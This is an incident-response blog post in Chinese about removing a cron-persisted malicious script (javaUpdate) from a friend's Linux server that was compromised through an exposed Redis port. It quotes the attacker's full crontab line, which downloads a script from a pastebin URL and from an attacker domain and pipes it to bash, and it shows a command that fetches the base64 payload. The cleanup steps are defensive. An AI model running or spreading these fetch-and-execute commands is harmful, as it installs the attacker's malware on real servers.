记一次老友的Linux服务器被恶意程序入侵并解决的过程

首先放一个老友的连接:http://yuyy.info
恶意程序名称:javaUpdate

前言

最近的日子正是毕业的日子,也是最忙的日子。老友给我发了条信息,说他服务器中招了

通过ssh登录老友的服务器,发现登录的时候要卡很久,通过强制中断ctrl+c才能看见用户提示符

用top命令查看下现阶段运行进程情况,top命令简单说就是监控Linux中运行的进程的在系统中情况

通常的这些恶意进程是无法直接通过kill杀死的,有保护进程或者说有定时任务会重启什么的。

既然看见了这个进程,就进入/proc/$proc_num(进程号)/中cat里面的exe文件,这个文件夹是内存中运行的进程的地方,找到这个图中的“1056”号文件夹,cat这个exe,这个文件直接指向可执行程序。

这里没有截图,不过执行cat后的结果是提示这个可执行文件已经删除了

所以这个恶意程序,通过了服务器中的某一个开放的端口扫描到了靶机,之后通过扫描漏洞进行渗透,这一次的入侵老友说是通过redis的开放端口,老友为了方便,直接开放了6789端口,并且将本仅能本地访问的redis的IP改成了4个0。

为了不让你抓到这个程序,他在执行完后就自我删除了。你通过ps -ef命令是找不到脚本的位置的

执行的内容会放一个脚本,也会简单说明执行了什么命令在服务器上,也会说明如何得到的这个脚本。

好吧,现在就一步步来解决问题吧

首先进行的一些常规的操作

  • 最基本的操作,改root用户密码,停止redis服务。我是将我好友上面的apache,mysql,nginx等服务都停止了。防止恶意程序会再扫描服务器漏洞进行入侵。
  • 下一步操作,进入阿里云的实例控制台中的防火墙,或者安全策略,禁用一些不需要的端口,切记不要图方便开启xxxx-xxxx号端口的危险行为
  • 之后,我前面已经提到了,关闭一些服务
  • 找到这个脚本

既然上文已经提到是先下载,再执行,后删除。那么怎么定位这个脚本呢?因为如果你通过kill来处理掉这个进程,过一会儿就又会启动。这说明要么就是守护进程,要么就是在定时任务中。通常如果是一个守护进程,恶意程序是不会让你使用类似top或者ps命令查看到此类进程。

进程隐藏的方式的恶意程序要比这次对付的程序强大的多,这个先不提及

因为直接cat定时任务crontab很快速就先看了,来看看服务器中可怜的定时任务,并且,在bin目录下,也生成了两个可执行的sh,可以见到还上锁了,会从不同的url下载恶意程序

这里说明下,如果要解锁一个文件,要用下面的命令

chattr -i xxx

同时有一个定时文件是定时执行这两个文件

这里要注意一点,因为有些恶意程序会劫持命令,比如rm命令会给你换名字,或者不会让你执行

如果有这种情况,可以使用busybox,busybox相当于一个集成命令的工具,里面有一些常用的命令,使用busybox的时候只要加上这个工具名字的前缀就可

busybox rm xxx

cat出定时任务,可以看到下面的内容

有点小

sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/1eDKHr4r").read()'||curl -fsSLk sadan666.xyz:9080/rr||wget -q -O - sadan666.xyz:9080/rr --no-check-certificate -t 2 -T 60)|bash

第一部分:

sed -i '/aziplcr72qjhzvin/d' /etc/hosts;

往hosts文件中写东西,是加密的。主要就是将0.0.0.0解析到一个网址

第二部分:

python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/1eDKHr4r").read()'

使用urllib2库来执行一条python语句,打开后面那个网址

第三部分:

curl -fsSLk sadan666.xyz:9080/rr||wget -q -O - sadan666.xyz:9080/rr --no-check-certificate -t 2 -T 60)|bash

都是从后面那个url中curl和wget一段经过base64加密的脚本之后执行,注意里面的选项都是启用了静默模式的,不会有任何输出,所以我们无法通过日志等文件查看这两条命令的执行记录

所以,有了这个,找到脚本不难,但不是说在服务器上找,而是我们直接请求他的url获得脚本

(curl -fsSL https://pastebin.com/raw/UhUmR517||wget -q -O - https://pastebin.com/raw/UhUmR517)|sed 's/\r//'

这里的url和上面的不同,这里的url是从其他定时任务文件中得到的,上面有截图显示这个url,但是他们指向的都是一个恶意脚本

将得到的bash64结果放到在线的解码器中

PS.wp不支持sh文件上传,就上传txt了,我已经将里面的一些部分更改,以防意外

wakuang下载

通过这个文件的分析,能得到所有的cron定时任务文件都被写入了上面的命令,会在每时每刻都会执行上面的命令,获取到这个可执行的脚本,之后执行这个脚本删除它,脚本中再往定时任务,root的.bashrc文件中写入上述的命令。如果我们只是单纯的kill到那个恶意进程,定时任务会立刻执行重新下载脚本并执行,如果我们将定时任务中的任务删除,当我们每次通过ssh登录服务器时,会执行.bashrc文件,又开始了死循环

删除它

好的,我们已经简单的分析下,那么我们改怎么处理呢?难道说通过拼手速的方式?

很简单的方法,如果恶意程序要用到curl和wget命令来下载恶意程序,那就。。

  • 第一步:删除wget命令和curl命令,或者将bin目录下面的两者移出去,这样先阻断了通过网络再次下载进程
  • 第二步:删除所有的定时任务前,把crond定时任务的服务关了,并且,直接删了定时任务执行的命令。这样,写在定时任务中的命令就失效了
  • 第三步:kill掉恶意程序进程,现在kill掉。定时任务失效,wget和curl都用不了,无法从网上下载恶意程序
  • 第四步:清理定时任务文件,并且要清理.bashrc下面写入的下载恶意脚本命令,要不然下次连接服务器就又会执行下载命令
  • 第五步:查看有没有可疑进程等

我这边直接top了下,服务器恢复了正常

总结

基本来说,这是一次正式挖矿前的清理服务器其他挖矿程序和注入自己恶意程序的操作。并不是正真的挖矿程序

恶意程序其中的一部分

上图可以见到这个恶意脚本会kill一些其他的挖矿脚本,之后就是上述提到的步骤。我通过分析这个脚本并没有找到挖矿程序。通过top分析也没有进程占用异常的资源的情况,所以,我仅觉得是挖矿前的“清理”,同行的恶意竞争??笑~